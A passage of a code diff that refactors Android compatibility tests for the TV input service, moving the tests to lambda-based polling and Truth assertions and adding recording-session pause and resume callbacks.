-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null
-                        && session.mTouchEventCount > 0
-                        && motionEventEquals(session.mTouchEvent, event);
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mTouchEventCount > 0);
+
+        assertThat(session.mTouchEventCount).isEqualTo(1);
+        assertMotionEventEquals(session.mTouchEvent, event);
     }
 
+    @Test
     public void verifyCommandDispatchTrackballEvent() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final long now = SystemClock.uptimeMillis();
         final MotionEvent event = MotionEvent.obtain(now, now, MotionEvent.ACTION_DOWN, 1.0f, 1.0f,
                 1.0f, 1.0f, 0, 1.0f, 1.0f, 0, 0);
         event.setSource(InputDevice.SOURCE_TRACKBALL);
-        mTvView.dispatchTouchEvent(event);
+        onTvView(tvView -> tvView.dispatchTouchEvent(event));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null
-                        && session.mTrackballEventCount > 0
-                        && motionEventEquals(session.mTrackballEvent, event);
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mTrackballEventCount > 0);
+
+        assertThat(session.mTrackballEventCount).isEqualTo(1);
+        assertMotionEventEquals(session.mTrackballEvent, event);
     }
 
+    @Test
     public void verifyCommandDispatchGenericMotionEvent() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final long now = SystemClock.uptimeMillis();
         final MotionEvent event = MotionEvent.obtain(now, now, MotionEvent.ACTION_DOWN, 1.0f, 1.0f,
                 1.0f, 1.0f, 0, 1.0f, 1.0f, 0, 0);
-        mTvView.dispatchGenericMotionEvent(event);
+        onTvView(tvView -> tvView.dispatchGenericMotionEvent(event));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null
-                        && session.mGenricMotionEventCount > 0
-                        && motionEventEquals(session.mGenricMotionEvent, event);
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mGenricMotionEventCount > 0);
+
+        assertThat(session.mGenricMotionEventCount).isEqualTo(1);
+        assertMotionEventEquals(session.mGenricMotionEvent, event);
     }
 
+    @Test
     public void verifyCommandTimeShiftPause() {
-        resetCounts();
-        mTvView.timeShiftPause();
+        final CountingSession session = tune(CHANNEL_0);
+        onTvView(tvView -> tvView.timeShiftPause());
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null && session.mTimeShiftPauseCount > 0;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mTimeShiftPauseCount > 0);
+
+        assertThat(session.mTimeShiftPauseCount).isEqualTo(1);
     }
 
+    @Test
     public void verifyCommandTimeShiftResume() {
-        resetCounts();
-        mTvView.timeShiftResume();
+        final CountingSession session = tune(CHANNEL_0);
+
+        onTvView(tvView -> {
+            tvView.timeShiftResume();
+        });
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null && session.mTimeShiftResumeCount > 0;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mTimeShiftResumeCount > 0);
+
+        assertThat(session.mTimeShiftResumeCount).isEqualTo(1);
     }
 
+    @Test
     public void verifyCommandTimeShiftSeekTo() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final long timeMs = 0;
-        mTvView.timeShiftSeekTo(timeMs);
+
+        onTvView(tvView -> tvView.timeShiftSeekTo(timeMs));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null && session.mTimeShiftSeekToCount > 0
-                        && session.mTimeShiftSeekTo == timeMs;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mTimeShiftSeekToCount > 0);
+
+        assertThat(session.mTimeShiftSeekToCount).isEqualTo(1);
+        assertThat(session.mTimeShiftSeekTo).isEqualTo(timeMs);
     }
 
+    @Test
     public void verifyCommandTimeShiftSetPlaybackParams() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final PlaybackParams param = new PlaybackParams().setSpeed(2.0f)
                 .setAudioFallbackMode(PlaybackParams.AUDIO_FALLBACK_MODE_DEFAULT);
-        mTvView.timeShiftSetPlaybackParams(param);
+        onTvView(tvView -> tvView.timeShiftSetPlaybackParams(param));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null && session.mTimeShiftSetPlaybackParamsCount > 0
-                        && playbackParamsEquals(session.mTimeShiftSetPlaybackParams, param);
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT,
+                () -> session != null && session.mTimeShiftSetPlaybackParamsCount > 0);
+
+        assertThat(session.mTimeShiftSetPlaybackParamsCount).isEqualTo(1);
+        assertPlaybackParamsEquals(session.mTimeShiftSetPlaybackParams, param);
     }
 
+    @Test
     public void verifyCommandTimeShiftPlay() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final Uri fakeRecordedProgramUri = TvContract.buildRecordedProgramUri(0);
-        mTvView.timeShiftPlay(mStubInfo.getId(), fakeRecordedProgramUri);
+
+        onTvView(tvView -> tvView.timeShiftPlay(mStubInfo.getId(), fakeRecordedProgramUri));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null && session.mTimeShiftPlayCount > 0
-                        && Objects.equals(session.mRecordedProgramUri, fakeRecordedProgramUri);
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mTimeShiftPlayCount > 0);
+
+        assertThat(session.mTimeShiftPlayCount).isEqualTo(1);
+        assertThat(session.mRecordedProgramUri).isEqualTo(fakeRecordedProgramUri);
     }
 
+    @Test
     public void verifyCommandSetTimeShiftPositionCallback() {
-        resetCounts();
-        mTvView.setTimeShiftPositionCallback(mTimeShiftPositionCallback);
+        tune(CHANNEL_0);
+
+        onTvView(tvView -> tvView.setTimeShiftPositionCallback(mTimeShiftPositionCallback));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mTimeShiftPositionCallback.mTimeShiftCurrentPositionChanged > 0
-                        && mTimeShiftPositionCallback.mTimeShiftStartPositionChanged > 0;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT,
+                () -> mTimeShiftPositionCallback.mTimeShiftCurrentPositionChanged > 0
+                        && mTimeShiftPositionCallback.mTimeShiftStartPositionChanged > 0);
+
+        assertThat(mTimeShiftPositionCallback.mTimeShiftCurrentPositionChanged).isEqualTo(1);
+        assertThat(mTimeShiftPositionCallback.mTimeShiftStartPositionChanged).isEqualTo(1);
     }
 
+    @Test
     public void verifyCommandOverlayViewSizeChanged() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final int width = 10;
         final int height = 20;
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTvView.setLayoutParams(new LinearLayout.LayoutParams(width, height));
-            }
-        });
-        mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null
-                        && session.mOverlayViewSizeChangedCount > 0
-                        && session.mOverlayViewSizeChangedWidth == width
-                        && session.mOverlayViewSizeChangedHeight == height;
-            }
-        }.run();
+
+        // There is a first OverlayViewSizeChange called on initial tune.
+        assertThat(session.mOverlayViewSizeChangedCount).isEqualTo(1);
+
+        onTvView(tvView -> tvView.setLayoutParams(new LinearLayout.LayoutParams(width, height)));
+
+        PollingCheck.waitFor(TIME_OUT, () -> session.mOverlayViewSizeChangedCount > 1);
+
+        assertThat(session.mOverlayViewSizeChangedCount).isEqualTo(2);
+        assertThat(session.mOverlayViewSizeChangedWidth).isEqualTo(width);
+        assertThat(session.mOverlayViewSizeChangedHeight).isEqualTo(height);
     }
 
+    @Test
     public void verifyCommandSendAppPrivateCommand() {
-        resetCounts();
+        Bundle bundle = createTestBundle();
+        tune(CHANNEL_0);
         final String action = "android.media.tv.cts.TvInputServiceTest.privateCommand";
-        mTvView.sendAppPrivateCommand(action, sDummyBundle);
+
+        onTvView(tvView -> tvView.sendAppPrivateCommand(action, bundle));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null
-                        && session.mAppPrivateCommandCount > 0
-                        && bundleEquals(session.mAppPrivateCommandData, sDummyBundle)
-                        && TextUtils.equals(session.mAppPrivateCommandAction, action);
-            }
-        }.run();
+        final CountingSession session = waitForSessionCheck(s -> s.mAppPrivateCommandCount > 0);
+
+        assertThat(session.mAppPrivateCommandCount).isEqualTo(1);
+        assertBundlesAreEqual(session.mAppPrivateCommandData, bundle);
+        assertThat(session.mAppPrivateCommandAction).isEqualTo(action);
     }
 
+    @Test
     public void verifyCallbackChannelRetuned() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
-        final CountingSession session = CountingTvInputService.sSession;
-        assertNotNull(session);
-        final Uri fakeChannelUri = TvContract.buildChannelUri(0);
-        session.notifyChannelRetuned(fakeChannelUri);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mCallback.mChannelRetunedCount > 0
-                        && Objects.equals(mCallback.mChannelRetunedUri, fakeChannelUri);
-            }
-        }.run();
+
+        session.notifyChannelRetuned(CHANNEL_0);
+        PollingCheck.waitFor(TIME_OUT, () -> mCallback.mChannelRetunedCount > 0);
+
+        assertThat(mCallback.mChannelRetunedCount).isEqualTo(1);
+        assertThat(mCallback.mChannelRetunedUri).isEqualTo(CHANNEL_0);
+
     }
 
+    @Test
     public void verifyCallbackVideoAvailable() {
+        final CountingSession session = tune(CHANNEL_0);
         resetCounts();
-        final CountingSession session = CountingTvInputService.sSession;
-        assertNotNull(session);
+
         session.notifyVideoAvailable();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mCallback.mVideoAvailableCount > 0;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> mCallback.mVideoAvailableCount > 0);
+
+        assertThat(mCallback.mVideoAvailableCount).isEqualTo(1);
     }
 
+    @Test
     public void verifyCallbackVideoUnavailable() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
-        final CountingSession session = CountingTvInputService.sSession;
-        assertNotNull(session);
         final int reason = TvInputManager.VIDEO_UNAVAILABLE_REASON_TUNING;
+
         session.notifyVideoUnavailable(reason);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mCallback.mVideoUnavailableCount > 0
-                        && mCallback.mVideoUnavailableReason == reason;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> mCallback.mVideoUnavailableCount > 0);
+
+        assertThat(mCallback.mVideoUnavailableCount).isEqualTo(1);
+        assertThat(mCallback.mVideoUnavailableReason).isEqualTo(reason);
     }
 
+    @Test
     public void verifyCallbackTracksChanged() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
-        final CountingSession session = CountingTvInputService.sSession;
-        assertNotNull(session);
         ArrayList<TvTrackInfo> tracks = new ArrayList<>();
-        tracks.add(DUMMY_TRACK);
+        tracks.add(TEST_TV_TRACK);
+
         session.notifyTracksChanged(tracks);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mCallback.mTrackChangedCount > 0
-                        && Objects.equals(mCallback.mTracksChangedTrackList, tracks);
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> mCallback.mTrackChangedCount > 0
+                && Objects.equals(mCallback.mTracksChangedTrackList, tracks));
+
+        assertThat(mCallback.mTrackChangedCount).isEqualTo(1);
+        assertThat(mCallback.mTracksChangedTrackList).isEqualTo(tracks);
     }
 
+    @Test
+    @Ignore("b/174076887")
     public void verifyCallbackVideoSizeChanged() {
+        final CountingSession session = tune(CHANNEL_0);
         resetCounts();
-        final CountingSession session = CountingTvInputService.sSession;
-        assertNotNull(session);
         ArrayList<TvTrackInfo> tracks = new ArrayList<>();
-        tracks.add(DUMMY_TRACK);
+        tracks.add(TEST_TV_TRACK);
+
         session.notifyTracksChanged(tracks);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mCallback.mVideoSizeChanged > 0;
-            }
-        }.run();
+        mInstrumentation.waitForIdleSync();
+        PollingCheck.waitFor(TIME_OUT, () -> mCallback.mVideoSizeChanged > 0);
+
+        assertThat(mCallback.mVideoSizeChanged).isEqualTo(1);
     }
 
+    @Test
     public void verifyCallbackTrackSelected() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
-        final CountingSession session = CountingTvInputService.sSession;
-        assertNotNull(session);
-        assertNotNull(DUMMY_TRACK);
-        session.notifyTrackSelected(DUMMY_TRACK.getType(), DUMMY_TRACK.getId());
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mCallback.mTrackSelectedCount > 0
-                        && mCallback.mTrackSelectedType == DUMMY_TRACK.getType()
-                        && TextUtils.equals(DUMMY_TRACK.getId(), mCallback.mTrackSelectedTrackId);
-            }
-        }.run();
+
+        session.notifyTrackSelected(TEST_TV_TRACK.getType(), TEST_TV_TRACK.getId());
+        PollingCheck.waitFor(TIME_OUT, () -> mCallback.mTrackSelectedCount > 0);
+
+        assertThat(mCallback.mTrackSelectedCount).isEqualTo(1);
+        assertThat(mCallback.mTrackSelectedType).isEqualTo(TEST_TV_TRACK.getType());
+        assertThat(mCallback.mTrackSelectedTrackId).isEqualTo(TEST_TV_TRACK.getId());
     }
 
+    @Test
     public void verifyCallbackContentAllowed() {
+        final CountingSession session = tune(CHANNEL_0);
         resetCounts();
-        final CountingSession session = CountingTvInputService.sSession;
-        assertNotNull(session);
+
         session.notifyContentAllowed();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mCallback.mContentAllowedCount > 0;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> mCallback.mContentAllowedCount > 0);
+
+        assertThat(mCallback.mContentAllowedCount).isEqualTo(1);
     }
 
+    @Test
     public void verifyCallbackContentBlocked() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
-        final CountingSession session = CountingTvInputService.sSession;
-        assertNotNull(session);
         final TvContentRating rating = TvContentRating.createRating("android.media.tv", "US_TVPG",
                 "US_TVPG_TV_MA", "US_TVPG_S", "US_TVPG_V");
+
         session.notifyContentBlocked(rating);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mCallback.mContentBlockedCount > 0
-                        && Objects.equals(mCallback.mContentBlockedRating, rating);
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> mCallback.mContentBlockedCount > 0);
+
+        assertThat(mCallback.mContentBlockedCount).isEqualTo(1);
+        assertThat(mCallback.mContentBlockedRating).isEqualTo(rating);
+
     }
 
+    @Test
     public void verifyCallbackTimeShiftStatusChanged() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
-        final CountingSession session = CountingTvInputService.sSession;
-        assertNotNull(session);
         final int status = TvInputManager.TIME_SHIFT_STATUS_AVAILABLE;
+
         session.notifyTimeShiftStatusChanged(status);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mCallback.mTimeShiftStatusChangedCount > 0
-                        && mCallback.mTimeShiftStatusChangedStatus == status;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> mCallback.mTimeShiftStatusChangedCount > 0);
+
+        assertThat(mCallback.mTimeShiftStatusChangedCount).isEqualTo(1);
+        assertThat(mCallback.mTimeShiftStatusChangedStatus).isEqualTo(status);
     }
 
+    @Test
     public void verifyCallbackLayoutSurface() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         final int left = 10;
         final int top = 20;
         final int right = 30;
         final int bottom = 40;
-        final CountingSession session = CountingTvInputService.sSession;
-        assertNotNull(session);
+
         session.layoutSurface(left, top, right, bottom);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                int childCount = mTvView.getChildCount();
+        PollingCheck.waitFor(TIME_OUT, () -> {
+            final AtomicBoolean retValue = new AtomicBoolean();
+            onTvView(tvView -> {
+                int childCount = tvView.getChildCount();
                 for (int i = 0; i < childCount; ++i) {
-                    View v = mTvView.getChildAt(i);
+                    View v = tvView.getChildAt(i);
                     if (v instanceof SurfaceView) {
-                        return v.getLeft() == left && v.getTop() == top && v.getRight() == right
-                                && v.getBottom() == bottom;
+                        retValue.set(v.getLeft() == left && v.getTop() == top
+                                && v.getRight() == right
+                                && v.getBottom() == bottom
+                        );
+                        break;
                     }
                 }
-                return false;
-            }
-        }.run();
+            });
+            mInstrumentation.waitForIdleSync();
+            return retValue.get();
+        });
     }
 
-    public static boolean keyEventEquals(KeyEvent event, KeyEvent other) {
-        if (event == other) return true;
-        if (event == null || other == null) return false;
-        return event.getDownTime() == other.getDownTime()
-                && event.getEventTime() == other.getEventTime()
-                && event.getAction() == other.getAction()
-                && event.getKeyCode() == other.getKeyCode()
-                && event.getRepeatCount() == other.getRepeatCount()
-                && event.getMetaState() == other.getMetaState()
-                && event.getDeviceId() == other.getDeviceId()
-                && event.getScanCode() == other.getScanCode()
-                && event.getFlags() == other.getFlags()
-                && event.getSource() == other.getSource()
-                && TextUtils.equals(event.getCharacters(), other.getCharacters());
+    public static void assertKeyEventEquals(KeyEvent actual, KeyEvent expected) {
+        if ((expected == null) != (actual == null)) {
+            // Fail miss matched nulls early using the StandardSubject
+            Truth.assertThat(actual).isEqualTo(expected);
+        } else if (expected != null && actual != null) {
+            assertThat(actual.getDownTime()).isEqualTo(expected.getDownTime());
+            assertThat(actual.getEventTime()).isEqualTo(expected.getEventTime());
+            assertThat(actual.getAction()).isEqualTo(expected.getAction());
+            assertThat(actual.getKeyCode()).isEqualTo(expected.getKeyCode());
+            assertThat(actual.getRepeatCount()).isEqualTo(expected.getRepeatCount());
+            assertThat(actual.getMetaState()).isEqualTo(expected.getMetaState());
+            assertThat(actual.getDeviceId()).isEqualTo(expected.getDeviceId());
+            assertThat(actual.getScanCode()).isEqualTo(expected.getScanCode());
+            assertThat(actual.getFlags()).isEqualTo(expected.getFlags());
+            assertThat(actual.getSource()).isEqualTo(expected.getSource());
+            assertThat(actual.getCharacters()).isEqualTo(expected.getCharacters());
+        }// else both null so do nothing
     }
 
-    public static boolean motionEventEquals(MotionEvent event, MotionEvent other) {
-        if (event == other) return true;
-        if (event == null || other == null) return false;
-        return event.getDownTime() == other.getDownTime()
-                && event.getEventTime() == other.getEventTime()
-                && event.getAction() == other.getAction()
-                && event.getX() == other.getX()
-                && event.getY() == other.getY()
-                && event.getPressure() == other.getPressure()
-                && event.getSize() == other.getSize()
-                && event.getMetaState() == other.getMetaState()
-                && event.getXPrecision() == other.getXPrecision()
-                && event.getYPrecision() == other.getYPrecision()
-                && event.getDeviceId() == other.getDeviceId()
-                && event.getEdgeFlags() == other.getEdgeFlags()
-                && event.getSource() == other.getSource();
+    public static void assertMotionEventEquals(MotionEvent actual, MotionEvent expected) {
+        if ((expected == null) != (actual == null)) {
+            // Fail miss matched nulls early using the StandardSubject
+            Truth.assertThat(actual).isEqualTo(expected);
+        } else if (expected != null && actual != null) {
+            assertThat(actual).hasDownTime(expected.getDownTime());
+            assertThat(actual).hasEventTime(expected.getEventTime());
+            assertThat(actual).hasAction(expected.getAction());
+            assertThat(actual).x().isEqualTo(expected.getX());
+            assertThat(actual).y().isEqualTo(expected.getY());
+            assertThat(actual).pressure().isEqualTo(expected.getPressure());
+            assertThat(actual).size().isEqualTo(expected.getSize());
+            assertThat(actual).hasMetaState(expected.getMetaState());
+            assertThat(actual).xPrecision().isEqualTo(expected.getXPrecision());
+            assertThat(actual).yPrecision().isEqualTo(expected.getYPrecision());
+            assertThat(actual).hasDeviceId(expected.getDeviceId());
+            assertThat(actual).hasEdgeFlags(expected.getEdgeFlags());
+            assertThat(actual.getSource()).isEqualTo(expected.getSource());
+
+        } // else both null so do nothing
     }
 
-    public static boolean playbackParamsEquals(PlaybackParams param, PlaybackParams other) {
-        if (param == other) return true;
-        if (param == null || other == null) return false;
-        return param.getAudioFallbackMode() == other.getAudioFallbackMode()
-                && param.getSpeed() == other.getSpeed();
+    public static void assertPlaybackParamsEquals(PlaybackParams actual, PlaybackParams expected) {
+        if ((expected == null) != (actual == null)) {
+            // Fail miss matched nulls early using the StandardSubject
+            Truth.assertThat(actual).isEqualTo(expected);
+        } else if (expected != null && actual != null) {
+            assertThat(actual.getAudioFallbackMode()).isEqualTo(expected.getAudioFallbackMode());
+            assertThat(actual.getSpeed()).isEqualTo(expected.getSpeed());
+        } // else both null so do nothing
     }
 
-    public static boolean bundleEquals(Bundle b, Bundle other) {
-        if (b == other) return true;
-        if (b == null || other == null) return false;
-        if (b.size() != other.size()) return false;
-
-        Set<String> keys = b.keySet();
-        for (String key : keys) {
-            if (!other.containsKey(key)) return false;
-            Object objOne = b.get(key);
-            Object objTwo = other.get(key);
-            if (!Objects.equals(objOne, objTwo)) {
-                return false;
+    private static void assertBundlesAreEqual(Bundle actual, Bundle expected) {
+        if ((expected == null) != (actual == null)) {
+            // Fail miss matched nulls early using the StandardSubject
+            Truth.assertThat(actual).isEqualTo(expected);
+        } else if (expected != null && actual != null) {
+            assertThat(actual.keySet()).isEqualTo(expected.keySet());
+            for (String key : expected.keySet()) {
+                assertThat(actual.get(key)).isEqualTo(expected.get(key));
             }
         }
-        return true;
     }
 
-    public void initDummyBundle() {
-        sDummyBundle = new Bundle();
-        sDummyBundle.putString("stringKey", new String("Test String"));
+    private void notifyTuned(Uri uri) {
+        final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
+        session.notifyTuned(uri);
+        PollingCheck.waitFor(TIME_OUT, () -> mRecordingCallback.mTunedCount > 0);
+    }
+
+    private void onTvView(Consumer<TvView> tvViewConsumer) {
+        activityRule.getScenario().onActivity(viewAction(tvViewConsumer));
+
     }
 
     private void resetCounts() {
@@ -1060,37 +971,108 @@
         mRecordingCallback.resetPassedValues();
     }
 
+    @NonNull
+    private static PollingCheck.PollingCheckCondition recordingSessionCheck(
+            ToBooleanFunction<CountingRecordingSession> toBooleanFunction) {
+        return () -> {
+            final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
+            return session != null && toBooleanFunction.apply(session);
+        };
+    }
+
+    @NonNull
+    private static PollingCheck.PollingCheckCondition sessionCheck(
+            ToBooleanFunction<CountingSession> toBooleanFunction) {
+        return () -> {
+            final CountingSession session = CountingTvInputService.sSession;
+            return session != null && toBooleanFunction.apply(session);
+        };
+    }
+
+    @NonNull
+    private CountingSession tune(Uri uri) {
+        onTvView(tvView -> {
+            tvView.setCallback(mCallback);
+            tvView.tune(mStubInfo.getId(), CHANNEL_0);
+        });
+        return waitForSessionCheck(session -> session.mTuneCount > 0);
+    }
+
+    @NonNull
+    private CountingRecordingSession tuneForRecording(Uri uri) {
+        mTvRecordingClient.tune(mStubInfo.getId(), uri);
+        return waitForRecordingSessionCheck(s -> s.mTuneCount > 0);
+    }
+
+    @NonNull
+    private CountingRecordingSession tuneForRecording(Uri uri, Bundle bundle) {
+        mTvRecordingClient.tune(mStubInfo.getId(), uri, bundle);
+        return waitForRecordingSessionCheck(s -> s.mTuneCount > 0 && s.mTuneWithBundleCount > 0);
+    }
+
+    @NonNull
+    private static ActivityScenario.ActivityAction<TvViewStubActivity> viewAction(
+            Consumer<TvView> consumer) {
+        return activity -> consumer.accept(activity.getTvView());
+    }
+
+    @NonNull
+    private static CountingSession waitForSessionCheck(
+            ToBooleanFunction<CountingSession> countingSessionToBooleanFunction) {
+        PollingCheck.waitFor(TIME_OUT, sessionCheck(countingSessionToBooleanFunction));
+        return CountingTvInputService.sSession;
+    }
+
+    @NonNull
+    private static CountingRecordingSession waitForRecordingSessionCheck(
+            ToBooleanFunction<CountingRecordingSession> toBool) {
+        PollingCheck.waitFor(TIME_OUT, recordingSessionCheck(toBool));
+        return CountingTvInputService.sRecordingSession;
+    }
+
     public static class CountingTvInputService extends StubTvInputService {
+
         static CountingSession sSession;
         static CountingRecordingSession sRecordingSession;
-        static String sTvInputSessionId;
 
         @Override
         public Session onCreateSession(String inputId) {
-            sSession = new CountingSession(this);
+            return onCreateSession(inputId, null);
+        }
+
+        @Override
+        public Session onCreateSession(String inputId, String tvInputSessionId) {
+            if(sSession != null){
+                Log.w(TAG,"onCreateSession called with sSession set to "+ sSession);
+            }
+            sSession = new CountingSession(this, tvInputSessionId);
             sSession.setOverlayViewEnabled(true);
             return sSession;
         }
 
         @Override
         public RecordingSession onCreateRecordingSession(String inputId) {
-            sRecordingSession = new CountingRecordingSession(this);
-            return sRecordingSession;
-        }
-
-        @Override
-        public Session onCreateSession(String inputId, String tvInputSessionId) {
-            sTvInputSessionId = tvInputSessionId;
-            return onCreateSession(inputId);
+            return onCreateRecordingSession(inputId, null);
         }
 
         @Override
         public RecordingSession onCreateRecordingSession(String inputId, String tvInputSessionId) {
-            sTvInputSessionId = tvInputSessionId;
-            return onCreateRecordingSession(inputId);
+            if (sRecordingSession != null) {
+                Log.w(TAG, "onCreateRecordingSession called with sRecordingSession set to "
+                        + sRecordingSession);
+            }
+            sRecordingSession = new CountingRecordingSession(this, tvInputSessionId);
+            return sRecordingSession;
+        }
+
+        @Override
+        public IBinder createExtension() {
+            return null;
         }
 
         public static class CountingSession extends Session {
+            public final String mSessionId;
+
             public volatile int mTuneCount;
             public volatile int mTuneWithBundleCount;
             public volatile int mSetStreamVolumeCount;
@@ -1140,8 +1122,12 @@
             public volatile Integer mOverlayViewSizeChangedWidth;
             public volatile Integer mOverlayViewSizeChangedHeight;
 
-            CountingSession(Context context) {
+
+            CountingSession(Context context, @Nullable String sessionId) {
+
                 super(context);
+                mSessionId = sessionId;
+
             }
 
             public void resetCounts() {
@@ -1357,11 +1343,15 @@
         }
 
         public static class CountingRecordingSession extends RecordingSession {
+            public final String mSessionId;
+
             public volatile int mTuneCount;
             public volatile int mTuneWithBundleCount;
             public volatile int mReleaseCount;
             public volatile int mStartRecordingCount;
             public volatile int mStartRecordingWithBundleCount;
+            public volatile int mPauseRecordingWithBundleCount;
+            public volatile int mResumeRecordingWithBundleCount;
             public volatile int mStopRecordingCount;
             public volatile int mAppPrivateCommandCount;
 
@@ -1369,11 +1359,14 @@
             public volatile Bundle mTuneWithBundleData;
             public volatile Uri mProgramHint;
             public volatile Bundle mStartRecordingWithBundleData;
+            public volatile Bundle mPauseRecordingWithBundleData;
+            public volatile Bundle mResumeRecordingWithBundleData;
             public volatile String mAppPrivateCommandAction;
             public volatile Bundle mAppPrivateCommandData;
 
-            CountingRecordingSession(Context context) {
+            CountingRecordingSession(Context context, @Nullable String sessionId) {
                 super(context);
+                mSessionId = sessionId;
             }
 
             public void resetCounts() {
@@ -1382,6 +1375,8 @@
                 mReleaseCount = 0;
                 mStartRecordingCount = 0;
                 mStartRecordingWithBundleCount = 0;
+                mPauseRecordingWithBundleCount = 0;
+                mResumeRecordingWithBundleCount = 0;
                 mStopRecordingCount = 0;
                 mAppPrivateCommandCount = 0;
             }
@@ -1391,6 +1386,8 @@
                 mTuneWithBundleData = null;
                 mProgramHint = null;
                 mStartRecordingWithBundleData = null;
+                mPauseRecordingWithBundleData = null;
+                mResumeRecordingWithBundleData = null;
                 mAppPrivateCommandAction = null;
                 mAppPrivateCommandData = null;
             }
@@ -1432,6 +1429,19 @@
             }
 
             @Override
+            public void onPauseRecording(Bundle data) {
+                mPauseRecordingWithBundleCount++;
+                mPauseRecordingWithBundleData = data;
+            }
+
+            @Override
+            public void onResumeRecording(Bundle data) {
+                mResumeRecordingWithBundleCount++;
+                mResumeRecordingWithBundleData = data;
+
+            }
+
+            @Override
             public void onStopRecording() {
                 mStopRecordingCount++;
             }
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvTrackInfoTest.java b/tests/tests/tv/src/android/media/tv/cts/TvTrackInfoTest.java
index dcae3c8..b2c2041 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvTrackInfoTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvTrackInfoTest.java
@@ -23,6 +23,7 @@
 import android.content.Context;
 import android.media.tv.TvTrackInfo;
 import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
 
 import androidx.test.core.os.Parcelables;
 
@@ -34,13 +35,13 @@
 /**
  * Test {@link android.media.tv.TvTrackInfo}.
  */
+@Presubmit
 public class TvTrackInfoTest {
 
     @Rule
     public final RequiredServiceRule requiredServiceRule = new RequiredServiceRule(
             Context.TV_INPUT_SERVICE);
 
-
     @Test
     public void newAudioTrack_default() {
         final TvTrackInfo info = new TvTrackInfo.Builder(TvTrackInfo.TYPE_AUDIO, "default")
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvViewStubActivity.java b/tests/tests/tv/src/android/media/tv/cts/TvViewStubActivity.java
